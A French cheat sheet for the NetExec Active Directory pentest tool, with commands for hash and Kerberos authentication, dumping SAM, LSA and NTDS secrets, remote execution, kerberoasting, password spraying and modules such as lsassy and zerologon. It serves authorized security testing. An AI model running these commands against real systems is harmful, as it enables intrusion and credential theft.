---
title: NetExec
description: "Le couteau suisse AD : SMB, WinRM, LDAP, MSSQL, spraying et extraction de secrets."
category: ad
kind: tool
tags: [smb, winrm, ldap, spraying, nxc]
level: intermediate
updated: 2026-11-08
order: 2
aliases: ["nxc", "crackmapexec"]
---

## Authentification

```bash
# Mot de passe
nxc smb 10.10.10.0/24 -u user -p 'Password' -d DOMAIN

# Hash NTLM
nxc smb 10.10.10.10 -u user -H NTHASH -d DOMAIN

# Kerberos
nxc smb dc01.domain.local -u user -k --use-kcache -d DOMAIN

# Fichier d'identifiants (user:pass ou user:hash)
nxc smb targets.txt -u users.txt -p passwords.txt --continue-on-success
```

## SMB

```bash
# Info hôte et signature
nxc smb 10.10.10.0/24

# Partages accessibles
nxc smb 10.10.10.10 -u user -p 'Password' --shares

# Utilisateurs, groupes, sessions
nxc smb 10.10.10.10 -u user -p 'Password' --users --groups --sessions

# Qui est connecté
nxc smb 10.10.10.10 -u user -p 'Password' --loggedon-users

# Dump SAM / LSA / NTDS
nxc smb 10.10.10.10 -u admin -p 'Password' --sam
nxc smb 10.10.10.10 -u admin -p 'Password' --lsa
nxc smb dc01 -u admin -p 'Password' --ntds
```

## Exécution

```bash
# Commande cmd / PowerShell
nxc smb 10.10.10.10 -u admin -p 'Password' -x 'whoami /all'
nxc smb 10.10.10.10 -u admin -p 'Password' -X 'Get-Process'

# WinRM
nxc winrm 10.10.10.10 -u user -p 'Password' -x 'hostname'

# MSSQL : commandes et requêtes
nxc mssql 10.10.10.10 -u sa -p 'Password' -q 'SELECT @@version'
nxc mssql 10.10.10.10 -u sa -p 'Password' --local-auth -x 'whoami'
```

## Énumération LDAP

```bash
# Description des utilisateurs (souvent des passwords oubliés)
nxc ldap dc01.domain.local -u user -p 'Password' --query \
  '(objectClass=user)' description

# Kerberoastable / AS-REP roastable
nxc ldap dc01.domain.local -u user -p 'Password' --kerberoasting kerb.txt
nxc ldap dc01.domain.local -u user -p 'Password' --asreproast asrep.txt

# Admins du domaine
nxc ldap dc01.domain.local -u user -p 'Password' --groups "Domain Admins"
```

## Spraying et modules

```bash
# Password spraying (1 mot de passe, beaucoup d'users)
nxc smb 10.10.10.0/24 -u users.txt -p 'Summer2026!' --continue-on-success

# Lister les modules
nxc smb -L

# Modules utiles
nxc smb 10.10.10.10 -u user -p 'Password' -M spider_plus
nxc smb 10.10.10.10 -u user -p 'Password' -M lsassy
nxc smb 10.10.10.10 -u user -p 'Password' -M gpp_password
nxc smb 10.10.10.10 -u user -p 'Password' -M zerologon
```

> [!TIP]
> `--continue-on-success` est indispensable en spraying : sans lui, nxc s'arrête au premier succès. Attention au verrouillage de comptes : vérifie la policy avant (`nxc smb dc01 -u user -p pass --pass-pol`).

> [!WARNING]
> Un spraying mal calibré verrouille les comptes de toute l'organisation. Espace les tentatives, utilise un seul mot de passe par passage et respecte les seuils du client.
